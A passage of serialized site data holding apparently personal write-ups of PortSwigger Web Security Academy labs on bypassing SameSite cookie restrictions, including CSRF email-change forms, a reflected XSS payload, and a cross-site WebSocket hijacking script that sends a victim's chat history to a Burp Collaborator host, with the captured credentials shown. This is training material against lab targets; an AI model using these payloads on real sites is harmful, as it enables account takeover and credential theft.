fetch",[313,8191,3205],{"class":748},[313,8193,8194],{"class":771},"'https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email'",[313,8196,8092],{"class":748},[313,8198,8095],{"class":771},[313,8200,8098],{"class":748},[313,8202,8203],{"class":761},"new",[313,8205,8206],{"class":795}," URLSearchParams",[313,8208,8209],{"class":748},"({ email: ",[313,8211,8212],{"class":771},"'ne1@n.ru'",[313,8214,8215],{"class":748}," }) })\n",[313,8217,8218,8221,8224],{"class":315,"line":802},[313,8219,8220],{"class":748},"    }, ",[313,8222,8223],{"class":808},"20000",[313,8225,3826],{"class":748},[313,8227,8228],{"class":315,"line":821},[313,8229,934],{"class":748},[313,8231,8232,8234,8236],{"class":315,"line":833},[313,8233,946],{"class":748},[313,8235,753],{"class":752},[313,8237,756],{"class":748},[15,8239,8240,8241,8243,8244,524],{},"The cookie does get refreshed, but for some reason ",[37,8242,3202],{}," doesn't go through — it returns a 302. Redirect to ",[37,8245,7700],{},[15,8247,8248,8249,4251],{},"Oh, maybe we forgot to add ",[37,8250,8251],{},"credentials: 'include'",[142,8253,8255],{"className":3020,"code":8254,"language":3022,"meta":87,"style":87},"\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fsocial-login');\n    setTimeout(() => {\n      fetch('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email', {\n        method: 'POST',\n        body: new URLSearchParams({ email: 'ne1@n.ru' }),\n        credentials: 'include'\n      })\n    }, 20000)\n  }\n\u003C\u002Fscript>\n",[37,8256,8257,8265,8279,8291,8301,8312,8321,8337,8345,8350,8358,8362],{"__ignoreMap":87},[313,8258,8259,8261,8263],{"class":315,"line":316},[313,8260,749],{"class":748},[313,8262,753],{"class":752},[313,8264,756],{"class":748},[313,8266,8267,8269,8271,8273,8275,8277],{"class":315,"line":88},[313,8268,8038],{"class":748},[313,8270,8041],{"class":795},[313,8272,812],{"class":761},[313,8274,8046],{"class":748},[313,8276,869],{"class":761},[313,8278,789],{"class":748},[313,8280,8281,8283,8285,8287,8289],{"class":315,"line":253},[313,8282,8055],{"class":748},[313,8284,6309],{"class":795},[313,8286,3205],{"class":748},[313,8288,8171],{"class":771},[313,8290,5710],{"class":748},[313,8292,8293,8295,8297,8299],{"class":315,"line":780},[313,8294,8178],{"class":795},[313,8296,866],{"class":748},[313,8298,869],{"class":761},[313,8300,789],{"class":748},[313,8302,8303,8305,8307,8309],{"class":315,"line":792},[313,8304,8189],{"class":795},[313,8306,3205],{"class":748},[313,8308,8194],{"class":771},[313,8310,8311],{"class":748},", {\n",[313,8313,8314,8317,8319],{"class":315,"line":802},[313,8315,8316],{"class":748},"        method: ",[313,8318,8095],{"class":771},[313,8320,830],{"class":748},[313,8322,8323,8326,8328,8330,8332,8334],{"class":315,"line":821},[313,8324,8325],{"class":748},"        body: ",[313,8327,8203],{"class":761},[313,8329,8206],{"class":795},[313,8331,8209],{"class":748},[313,8333,8212],{"class":771},[313,8335,8336],{"class":748}," }),\n",[313,8338,8339,8342],{"class":315,"line":833},[313,8340,8341],{"class":748},"        credentials: ",[313,8343,8344],{"class":771},"'include'\n",[313,8346,8347],{"class":315,"line":842},[313,8348,8349],{"class":748},"      })\n",[313,8351,8352,8354,8356],{"class":315,"line":848},[313,8353,8220],{"class":748},[313,8355,8223],{"class":808},[313,8357,3826],{"class":748},[313,8359,8360],{"class":315,"line":853},[313,8361,934],{"class":748},[313,8363,8364,8366,8368],{"class":315,"line":874},[313,8365,946],{"class":748},[313,8367,753],{"class":752},[313,8369,756],{"class":748},[15,8371,8372],{},"Hmm, and the cookie doesn't seem to be attached either. And on top of that, a CORS error:",[142,8374,8377],{"className":8375,"code":8376,"language":147},[145],"Access to fetch at 'https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email' from origin 'https:\u002F\u002Fexploit-0ad7003e03c2613c81b57ab701040017.exploit-server.net' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'.\n",[37,8378,8376],{"__ignoreMap":87},[15,8380,8381,8382,8385],{},"Looks like I missed an important point — to send the cookie we need a POST top-level navigation; a regular ",[37,8383,8384],{},"fetch()"," won't do, we need a form submit. Let's iterate on the payload. We'll take the email-change form from the lab page and, 15 seconds after opening the cookie-refresh window, submit the change-email request.",[142,8387,8389],{"className":3020,"code":8388,"language":3022,"meta":87,"style":87},"\u003Cform class=\"login-form\" name=\"change-email-form\" action=\"https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n  \u003Clabel>Email\u003C\u002Flabel>\n  \u003Cinput required type=\"email\" name=\"email\" value=\"xxx@yyy.ru\">\n  \u003Cbutton class=\"button\" type=\"submit\">Update email\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fsocial-login');\n    setTimeout(() => {\n      document.forms[0].submit();\n    }, 15000)\n  }\n\u003C\u002Fscript>\n",[37,8390,8391,8426,8438,8467,8491,8499,8503,8511,8525,8538,8548,8561,8570,8574],{"__ignoreMap":87},[313,8392,8393,8395,8397,8399,8401,8403,8405,8407,8410,8413,8415,8418,8420,8422,8424],{"class":315,"line":316},[313,8394,749],{"class":748},[313,8396,7035],{"class":752},[313,8398,3034],{"class":795},[313,8400,3037],{"class":748},[313,8402,7042],{"class":771},[313,8404,5207],{"class":795},[313,8406,3037],{"class":748},[313,8408,8409],{"class":771},"\"change-email-form\"",[313,8411,8412],{"class":795}," action",[313,8414,3037],{"class":748},[313,8416,8417],{"class":771},"\"https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[313,8419,7062],{"class":795},[313,8421,3037],{"class":748},[313,8423,7067],{"class":771},[313,8425,756],{"class":748},[313,8427,8428,8430,8432,8434,8436],{"class":315,"line":88},[313,8429,971],{"class":748},[313,8431,7076],{"class":752},[313,8433,7079],{"class":748},[313,8435,7076],{"class":752},[313,8437,756],{"class":748},[313,8439,8440,8442,8444,8446,8448,8450,8452,8454,8456,8458,8460,8462,8465],{"class":315,"line":253},[313,8441,971],{"class":748},[313,8443,5194],{"class":752},[313,8445,5197],{"class":795},[313,8447,5200],{"class":795},[313,8449,3037],{"class":748},[313,8451,6540],{"class":771},[313,8453,5207],{"class":795},[313,8455,3037],{"class":748},[313,8457,6540],{"class":771},[313,8459,5214],{"class":795},[313,8461,3037],{"class":748},[313,8463,8464],{"class":771},"\"xxx@yyy.ru\"",[313,8466,756],{"class":748},[313,8468,8469,8471,8473,8475,8477,8479,8481,8483,8485,8487,8489],{"class":315,"line":780},[313,8470,971],{"class":748},[313,8472,7119],{"class":752},[313,8474,3034],{"class":795},[313,8476,3037],{"class":748},[313,8478,7126],{"class":771},[313,8480,5200],{"class":795},[313,8482,3037],{"class":748},[313,8484,7133],{"class":771},[313,8486,7136],{"class":748},[313,8488,7119],{"class":752},[313,8490,756],{"class":748},[313,8492,8493,8495,8497],{"class":315,"line":792},[313,8494,946],{"class":748},[313,8496,7035],{"class":752},[313,8498,756],{"class":748},[313,8500,8501],{"class":315,"line":802},[313,8502,777],{"emptyLinePlaceholder":96},[313,8504,8505,8507,8509],{"class":315,"line":821},[313,8506,749],{"class":748},[313,8508,753],{"class":752},[313,8510,756],{"class":748},[313,8512,8513,8515,8517,8519,8521,8523],{"class":315,"line":833},[313,8514,8038],{"class":748},[313,8516,8041],{"class":795},[313,8518,812],{"class":761},[313,8520,8046],{"class":748},[313,8522,869],{"class":761},[313,8524,789],{"class":748},[313,8526,8527,8529,8531,8533,8536],{"class":315,"line":842},[313,8528,8055],{"class":748},[313,8530,6309],{"class":795},[313,8532,3205],{"class":748},[313,8534,8535],{"class":771},"'https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fsocial-login'",[313,8537,5710],{"class":748},[313,8539,8540,8542,8544,8546],{"class":315,"line":848},[313,8541,8178],{"class":795},[313,8543,866],{"class":748},[313,8545,869],{"class":761},[313,8547,789],{"class":748},[313,8549,8550,8553,8555,8557,8559],{"class":315,"line":853},[313,8551,8552],{"class":748},"      document.forms[",[313,8554,5685],{"class":808},[313,8556,7170],{"class":748},[313,8558,7173],{"class":795},[313,8560,6291],{"class":748},[313,8562,8563,8565,8568],{"class":315,"line":874},[313,8564,8220],{"class":748},[313,8566,8567],{"class":808},"15000",[313,8569,3826],{"class":748},[313,8571,8572],{"class":315,"line":889},[313,8573,934],{"class":748},[313,8575,8576,8578,8580],{"class":315,"line":894},[313,8577,946],{"class":748},[313,8579,753],{"class":752},[313,8581,756],{"class":748},[361,8583,8584],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":8586},[8587,8588],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":8589},[8590,8591,8592,8593,8594],{"id":139,"depth":253,"text":140},{"id":7669,"depth":253,"text":7670},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},{"id":7846,"depth":253,"text":7847},"2026-05-12","Bypassing SameSite=Lax by refreshing the session cookie through the OAuth flow and firing a top-level POST within the 2-minute window.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-cookie-refresh",{"title":7641,"description":8596},{"loc":8598},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-cookie-refresh",[264,7206,8603,8604,269],"samesite","oauth","2h 50m","65E2x-8UUk5azNyClGqThlgjmL9un2C5Xhjsb4QiXKo",{"id":8608,"title":8609,"author":6,"body":8610,"date":8958,"description":8959,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":8960,"navigation":96,"notes":93,"path":8961,"psTitle":8624,"seo":8962,"sitemap":8963,"stem":8964,"tags":8965,"timeSpent":8967,"type":106,"__hash__":8968},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-sibling-domain.md","SameSite Strict Bypass via Sibling Domain (PortSwigger Lab)",{"type":8,"value":8611,"toc":8951},[8612,8616,8618,8625,8627,8630,8636,8639,8664,8667,8670,8673,8693,8700,8708,8715,8721,8727,8730,8736,8743,8746,8757,8764,8768,8774,8778,8784,8790,8795,8798,8804,8807,8810,8823,8830,8836,8839,8847,8850,8856,8859,8865,8871,8877,8884,8890,8912,8926,8929,8935,8938,8944,8949],[11,8613,8615],{"id":8614},"samesite-strict-bypass-via-sibling-domain","SameSite Strict Bypass via Sibling Domain",[19,8617,121],{"id":120},[15,8619,8620,131],{},[125,8621,8624],{"href":8622,"rel":8623},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-strict-bypass-via-sibling-domain",[129],"SameSite Strict bypass via sibling domain",[19,8626,135],{"id":134},[15,8628,8629],{},"Given:",[142,8631,8634],{"className":8632,"code":8633,"language":147},[145],"This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.\n\nTo do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.\n",[37,8635,8633],{"__ignoreMap":87},[15,8637,8638],{},"What can we infer from this? The title reads as \"bypass SameSite=Strict restrictions through a same-level subdomain\".",[15,8640,8641,8642,8645,8646,8649,8650,8653,8654,3699,8657,8649,8660,8663],{},"SameSite is a ",[37,8643,8644],{},"Set-Cookie"," attribute that controls whether the cookie is sent on cross-site and same-site requests, and under which conditions. What does SameSite=Strict mean? It means the browser will send the cookie only on a same-site request, and only then. Important to remember: ",[37,8647,8648],{},"d1.example.com"," and ",[37,8651,8652],{},"d2.example.com"," are SameSite. The lab title hints that during recon we'll need to look at ",[37,8655,8656],{},"sibling domains",[37,8658,8659],{},"d1",[37,8661,8662],{},"d2"," above are exactly that.",[15,8665,8666],{},"Reading the description. There is a \"live chat\" feature on the site, and a WebSocket associated with it. The chat history contains login credentials in plain text. We need to craft a payload that connects to the chat WS as the victim and exfiltrates the messages to a Burp Collaborator server. Then we'll find the victim's name and password among the messages, log into their account, and the lab is solved.",[15,8668,8669],{},"Things to watch during recon: the subdomain + how the chat WebSocket works.",[15,8671,8672],{},"Let's go check how live chat works, and at the same time keep an eye on subdomains. We open the site, immediately see \"Live chat\", go there. The page opens, a message arrives. We send a few messages. Reload — messages are there. OK, so in theory we can indeed grab the message history.",[15,8674,8675,8676,8679,8680,8683,8684,8686,8687,8690,8691,3724],{},"What about the protocol? The first message the client sends is ",[37,8677,8678],{},"READY",", after which the server sequentially sends the old messages. What about the connection? When we navigate to the chat page, a ",[37,8681,8682],{},"GET \u002Fchat"," request fires with the ",[37,8685,3617],{}," cookie and WebSocket upgrade headers (",[37,8688,8689],{},"Upgrade: websocket","). This is the WebSocket we need to connect to — but as the victim, passing their ",[37,8692,3617],{},[15,8694,8695,8696,8699],{},"But for now we have no way to trigger this method with the victim's cookie — somewhere there must be a vulnerable ",[37,8697,8698],{},"sibling domain",". Let's look at requests to the target site more carefully.",[15,8701,8702,8703,8705,8706,3724],{},"First request ",[37,8704,7710],{},", sets the ",[37,8707,3617],{},[15,8709,8710,8711,8714],{},"Then — ",[37,8712,8713],{},"GET \u002Fresources\u002Flabheader\u002Fcss\u002FacademyLabHeader.css",". Nothing interesting.",[15,8716,8710,8717,8720],{},[37,8718,8719],{},"GET \u002Fresources\u002Fcss\u002FlabsEcommerce.css",". Oh, a CORS header appears:",[142,8722,8725],{"className":8723,"code":8724,"language":147},[145],"Access-Control-Allow-Origin: https:\u002F\u002Fcms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net\n",[37,8726,8724],{"__ignoreMap":87},[15,8728,8729],{},"Looks like that's it — our subdomain:",[142,8731,8734],{"className":8732,"code":8733,"language":147},[145],"cms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net\n",[37,8735,8733],{"__ignoreMap":87},[15,8737,8738,8739,8742],{},"Let's see what's there. Just a login\u002Fpassword form, we try the classic ",[37,8740,8741],{},"wiener\u002Fpeter"," — doesn't work.",[15,8744,8745],{},"Since we're on a sibling domain and this is CSRF, it makes sense to look for an XSS on this subdomain.",[15,8747,8748,8749,8752,8753,8756],{},"We drop the classic ",[37,8750,8751],{},"\u003C>'\"\\"," into the username field. A POST request fires. No escaping. OK, we're in HTML tag context, so we need a tag with a JavaScript call. A working option — ",[37,8754,8755],{},"\u003Cimg src=x onerror=alert(25) \u002F>",". We drop it into the username field — nice, the payload works.",[15,8758,8759,8760,8763],{},"But the problem remains — it's a POST request, and we have no way to trigger it. We could try ",[37,8761,8762],{},"method override",". OK, we can hit that route via a GET request.",[137,8765,8767],{"id":8766},"reasoning-about-the-payload-for-the-victim","Reasoning about the payload for the victim",[15,8769,8770,8771,8773],{},"We redirect to the subdomain with a payload in the username, which gets reflected after a POST login. We managed to invoke this method via GET by setting parameters in the query string. And inside the username payload we create a WebSocket pointing at the chat URL, send ",[37,8772,8678],{}," as the first message, and then receive the entire message history. After that — exfiltrate to Burp Collaborator, extract the victim's name and password, and log into the account.",[137,8775,8777],{"id":8776},"payload","Payload",[142,8779,8782],{"className":8780,"code":8781,"language":147},[145],"location = cms.xxx.com\u002Flogin?username=\u003Cimg src=x ...>&password=xxx\n",[37,8783,8781],{"__ignoreMap":87},[15,8785,8786,8787,8789],{},"That is, we redirect the victim to a page with a failed login attempt, and the value of the ",[37,8788,2916],{}," parameter gets reflected. There we add a tag and JS to connect to the WebSocket and receive the list of messages.",[15,8791,8792],{},[37,8793,8794],{},"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net",[15,8796,8797],{},"Let's build the payload in the DevTools console.",[142,8799,8802],{"className":8800,"code":8801,"language":147},[145],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cimg src=x onerror=alert(1)>&password=xxx\"\n",[37,8803,8801],{"__ignoreMap":87},[15,8805,8806],{},"Nice, it works.",[15,8808,8809],{},"Rough payload algorithm:",[335,8811,8812,8815,8818],{},[33,8813,8814],{},"Create a WebSocket connection.",[33,8816,8817],{},"Add a handler for incoming messages. From here we'll send the message to Burp Collaborator.",[33,8819,8820,8821,524],{},"Send the first message — ",[37,8822,8678],{},[15,8824,8825,8826,8829],{},"Then I figured — maybe ",[37,8827,8828],{},"\u003Cscript>\u003C\u002Fscript>"," will pass, and it'll be easier to write the payload :)",[142,8831,8834],{"className":8832,"code":8833,"language":147},[145],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>alert(25)\u003C\u002Fscript>&password=xxx\"\n",[37,8835,8833],{"__ignoreMap":87},[15,8837,8838],{},"Let's sketch the first variant per our algorithm.",[15,8840,8841,8842],{},"First, let's check the WebSocket Web API docs: ",[125,8843,8846],{"href":8844,"rel":8845},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FAPI\u002FWebSocket",[129],"developer.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FAPI\u002FWebSocket",[15,8848,8849],{},"Our starting test payload for the browser:",[142,8851,8854],{"className":8852,"code":8853,"language":147},[145],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>const ws = new WebSocket('wss:\u002F\u002F0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Fchat')\u003C\u002Fscript>&password=xxx\"\n",[37,8855,8853],{"__ignoreMap":87},[15,8857,8858],{},"Here we just create and open a socket. Check.",[15,8860,8861,8862,8864],{},"Goes through, we connect to the socket. Next step — send ",[37,8863,8678],{}," and receive the messages.",[142,8866,8869],{"className":8867,"code":8868,"language":147},[145],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>const ws = new WebSocket('wss:\u002F\u002F0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Fchat'); ws.send('READY'); ws.onmessage=(m)=>console.log(m)\u003C\u002Fscript>&password=xxx\"\n",[37,8870,8868],{"__ignoreMap":87},[142,8872,8875],{"className":8873,"code":8874,"language":147},[145],"Uncaught InvalidStateError: Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.\n",[37,8876,8874],{"__ignoreMap":87},[15,8878,8879,8880,8883],{},"We called ",[37,8881,8882],{},"send()"," prematurely — let's do it in the connection-open handler.",[142,8885,8888],{"className":8886,"code":8887,"language":147},[145],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>const ws = new WebSocket('wss:\u002F\u002F0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Fchat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>console.log(m)\u003C\u002Fscript>&password=xxx\"\n",[37,8889,8887],{"__ignoreMap":87},[15,8891,8892,8893,8896,8897,8900,8901,8904,8905,8908,8909,524],{},"Nice, I see ",[37,8894,8895],{},"MessageEvent"," objects in the console. The interesting field is ",[37,8898,8899],{},"data"," — that's the server message. It's JSON shaped like ",[37,8902,8903],{},"{\"user\":\"You\",\"content\":\"Hello\"}",". We're after the ",[37,8906,8907],{},"content"," field. We'll send it to Burp Collaborator: ",[37,8910,8911],{},"fve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com",[15,8913,8914,8915,8917,8918,8921,8922,8649,8924,524],{},"Another nuance — the ",[37,8916,8899],{}," is JSON serialized to a string. So we use ",[37,8919,8920],{},"JSON.parse()",". Also, had to encode ",[37,8923,749],{},[37,8925,3101],{},[15,8927,8928],{},"Uploaded the payload to the exploit server, tested on myself. Now delivering to the victim:",[142,8930,8933],{"className":8931,"code":8932,"language":147},[145],"location = \"https:\u002F\u002Fcms-0a20004203f9dea180791ce70035008d.web-security-academy.net\u002Flogin?username=%3Cscript%3Econst ws = new WebSocket('wss:\u002F\u002F0a20004203f9dea180791ce70035008d.web-security-academy.net\u002Fchat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>{fetch(`https:\u002F\u002Ffve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com\u002F?msg=${JSON.parse(m.data).content}`);console.log(JSON.parse(m.data).content)}%3C\u002Fscript%3E&password=xxx\"\n",[37,8934,8932],{"__ignoreMap":87},[15,8936,8937],{},"Oh, among the things that came in:",[142,8939,8942],{"className":8940,"code":8941,"language":147},[145],"GET \u002F?msg=No%20problem%20carlos,%20it&apos;s%20o3ji86qd20lwiapuyb1n HTTP\u002F1.1\n",[37,8943,8941],{"__ignoreMap":87},[15,8945,8946],{},[37,8947,8948],{},"carlos \u002F o3ji86qd20lwiapuyb1n",[15,8950,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":8952},[8953,8954],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":8955},[8956,8957],{"id":8766,"depth":253,"text":8767},{"id":8776,"depth":253,"text":8777},"2026-05-09","Bypassing SameSite=Strict via a sibling domain — XSS on the cms subdomain + method override + CSWSH against the live-chat WebSocket with history exfiltration to Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-sibling-domain",{"title":8609,"description":8959},{"loc":8961},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-sibling-domain",[264,7206,8603,8966,269],"websockets","5h 30m","dL_qBEMmJ2Dv3STaHn6Egd9UXkbrI8FP9zx8nR6ujjY",{"id":8970,"title":8971,"author":6,"body":8972,"date":9293,"description":9294,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":9295,"navigation":96,"notes":93,"path":9296,"psTitle":8986,"seo":9297,"sitemap":9298,"stem":9299,"tags":9300,"timeSpent":2732,"type":106,"__hash__":9301},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-client-side-redirect.md","SameSite Strict Bypass via Client-Side Redirect (PortSwigger Lab)",{"type":8,"value":8973,"toc":9289},[8974,8978,8980,8987,8989,8992,8998,9005,9008,9014,9027,9038,9066,9069,9174,9177,9183,9186,9192,9201,9207,9209,9241,9252,9284,9286],[11,8975,8977],{"id":8976},"samesite-strict-bypass-via-client-side-redirect","SameSite Strict Bypass via Client-Side Redirect",[19,8979,121],{"id":120},[15,8981,8982,131],{},[125,8983,8986],{"href":8984,"rel":8985},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-strict-bypass-via-client-side-redirect",[129],"SameSite Strict bypass via client-side redirect",[19,8988,135],{"id":134},[15,8990,8991],{},"Given: the now-familiar email change form. Log in:",[142,8993,8996],{"className":8994,"code":8995,"language":147},[145],"set-cookie: session=TkCuL6az98ZphhtL0tfC47tfHD8bAIRT; Secure; HttpOnly; SameSite=Strict\n",[37,8997,8995],{"__ignoreMap":87},[15,8999,9000,9001,9004],{},"This time it's ",[37,9002,9003],{},"SameSite=Strict",", and the previous GET-request trick won't work — the cookie won't be attached to the request. The hint points at a client-side redirect, let's find it.",[15,9006,9007],{},"Go to the site, open a post — there's a comment submission form:",[142,9009,9012],{"className":9010,"code":9011,"language":147},[145],"postId=4&comment=1223&name=HUUU&email=r%40t.ru&website=https%3A%2F%2Flab.apsyleg.ru\n",[37,9013,9011],{"__ignoreMap":87},[15,9015,9016,9017,9019,9020,9023,9024,524],{},"Submit, a POST request fires, response ",[37,9018,4144],{},". Redirect to ",[37,9021,9022],{},"\u002Fpost\u002Fcomment\u002Fconfirmation?postId=4",". And then, after 3 seconds, a client-side redirect to ",[37,9025,9026],{},"\u002Fpost\u002F4",[15,9028,9029,9030,9033,9034,9037],{},"Look at the source of ",[37,9031,9032],{},"\u002Fconfirmation",". It loads the script ",[37,9035,9036],{},"\u002Fresources\u002Fjs\u002FcommentConfirmationRedirect.js"," and calls:",[142,9039,9041],{"className":3020,"code":9040,"language":3022,"meta":87,"style":87},"\u003Cscript>redirectOnConfirmation('\u002Fpost');\u003C\u002Fscript>\n",[37,9042,9043],{"__ignoreMap":87},[313,9044,9045,9047,9049,9051,9054,9056,9059,9062,9064],{"class":315,"line":316},[313,9046,749],{"class":748},[313,9048,753],{"class":752},[313,9050,3101],{"class":748},[313,9052,9053],{"class":795},"redirectOnConfirmation",[313,9055,3205],{"class":748},[313,9057,9058],{"class":771},"'\u002Fpost'",[313,9060,9061],{"class":748},");\u003C\u002F",[313,9063,753],{"class":752},[313,9065,756],{"class":748},[15,9067,9068],{},"Script contents:",[142,9070,9072],{"className":6269,"code":9071,"language":6271,"meta":87,"style":87},"redirectOnConfirmation = (blogPath) => {\n    setTimeout(() => {\n        const url = new URL(window.location);\n        const postId = url.searchParams.get(\"postId\");\n        window.location = blogPath + '\u002F' + postId;\n    }, 3000);\n}\n",[37,9073,9074,9094,9104,9120,9140,9161,9170],{"__ignoreMap":87},[313,9075,9076,9078,9080,9083,9087,9090,9092],{"class":315,"line":316},[313,9077,9053],{"class":795},[313,9079,812],{"class":761},[313,9081,9082],{"class":748}," (",[313,9084,9086],{"class":9085},"s4XuR","blogPath",[313,9088,9089],{"class":748},") ",[313,9091,869],{"class":761},[313,9093,789],{"class":748},[313,9095,9096,9098,9100,9102],{"class":315,"line":88},[313,9097,8178],{"class":795},[313,9099,866],{"class":748},[313,9101,869],{"class":761},[313,9103,789],{"class":748},[313,9105,9106,9109,9111,9113,9115,9117],{"class":315,"line":253},[313,9107,9108],{"class":761},"        const",[313,9110,7898],{"class":808},[313,9112,812],{"class":761},[313,9114,6285],{"class":761},[313,9116,7905],{"class":795},[313,9118,9119],{"class":748},"(window.location);\n",[313,9121,9122,9124,9127,9129,9131,9133,9135,9138],{"class":315,"line":780},[313,9123,9108],{"class":761},[313,9125,9126],{"class":808}," postId",[313,9128,812],{"class":761},[313,9130,7920],{"class":748},[313,9132,7923],{"class":795},[313,9134,3205],{"class":748},[313,9136,9137],{"class":771},"\"postId\"",[313,9139,5710],{"class":748},[313,9141,9142,9145,9147,9150,9152,9155,9158],{"class":315,"line":792},[313,9143,9144],{"class":748},"        window.location ",[313,9146,3037],{"class":761},[313,9148,9149],{"class":748}," blogPath ",[313,9151,3211],{"class":761},[313,9153,9154],{"class":771}," '\u002F'",[313,9156,9157],{"class":761}," +",[313,9159,9160],{"class":748}," postId;\n",[313,9162,9163,9165,9168],{"class":315,"line":802},[313,9164,8220],{"class":748},[313,9166,9167],{"class":808},"3000",[313,9169,5710],{"class":748},[313,9171,9172],{"class":315,"line":821},[313,9173,940],{"class":748},[15,9175,9176],{},"The injection could look like this (remembering method override):",[142,9178,9181],{"className":9179,"code":9180,"language":147},[145],"..\u002Fmy-account\u002Fchange-email?_method=POST&email=hacked@b.ru\n",[37,9182,9180],{"__ignoreMap":87},[15,9184,9185],{},"And the URL itself:",[142,9187,9190],{"className":9188,"code":9189,"language":147},[145],"\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru\n",[37,9191,9189],{"__ignoreMap":87},[15,9193,9194,9197,9198,212],{},[37,9195,9196],{},"\"Missing parameter: 'submit'\"",". Something's missing — go check how the legit password-change form works. Indeed, we also need to pass ",[37,9199,9200],{},"submit=1",[142,9202,9205],{"className":9203,"code":9204,"language":147},[145],"\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru&submit=1\n",[37,9206,9204],{"__ignoreMap":87},[15,9208,2689],{},[142,9210,9212],{"className":3020,"code":9211,"language":3022,"meta":87,"style":87},"\u003Cscript>\n    location = 